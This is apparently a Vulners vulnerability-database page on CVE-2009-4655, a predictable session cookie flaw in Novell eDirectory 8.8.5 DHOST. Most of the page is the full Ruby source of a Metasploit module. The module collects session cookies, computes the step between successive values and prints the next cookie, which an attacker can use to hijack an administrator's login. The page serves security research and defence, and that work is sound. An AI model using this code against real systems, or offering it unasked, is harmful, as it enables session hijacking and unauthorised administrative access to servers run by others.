| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2009-4655 | 14 Mar 201000:00 | – | circl | |
| CVE-2009-4655 | 26 Feb 201018:09 | – | cve | |
| CVE-2009-4655 | 26 Feb 201018:09 | – | cvelist | |
| Novell eDirectory DHost Predictable Session ID | 19 Mar 201000:00 | – | nessus | |
| Novell eDirectory DHOST Predictable Session Cookie | 13 Nov 200921:31 | – | metasploit | |
| CVE-2009-4655 | 26 Feb 201018:30 | – | nvd | |
| Novell eDirectory <= 8.8.5 Cookie Hijack Vulnerability | 10 Mar 201000:00 | – | openvas | |
| Code injection | 26 Feb 201018:30 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',
'Description' => %q{
This module is able to predict the next session cookie value issued
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
this module, wait until the real administrator logs in, then specify the
predicted cookie value to hijack their session.
},
'References' =>
[
['CVE', '2009-4655'],
['OSVDB', '60035']
],
'Author' => 'hdm',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(8030),
OptBool.new('SSL', [true, 'Use SSL', true])
])
end
def run
vals = []
name = ""
print_status("Making 5 requests to verify predictions...")
1.upto(6) do
connect
req = "GET /dhost/ HTTP/1.1\r\n"
req << "Host: #{rhost}:#{rport}\r\n"
req << "Connection: close\r\n\r\n"
sock.put(req)
res = sock.get_once(-1,5)
disconnect
cookie = nil
if(res and res =~ /Cookie:\s*([^\s]+)\s*/mi)
cookie = $1
cookie,junk = cookie.split(';')
name,cookie = cookie.split('=')
cookie = cookie.to_i(16)
vals << cookie
end
end
deltas = []
prev_val = nil
vals.each_index do |i|
if(i > 0)
delta = vals[i] - prev_val
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
deltas << delta
end
prev_val = vals[i]
end
deltas.uniq!
if(deltas.length < 4)
print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
else
print_status("The cookie value is less predictable, maybe this has been patched?")
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation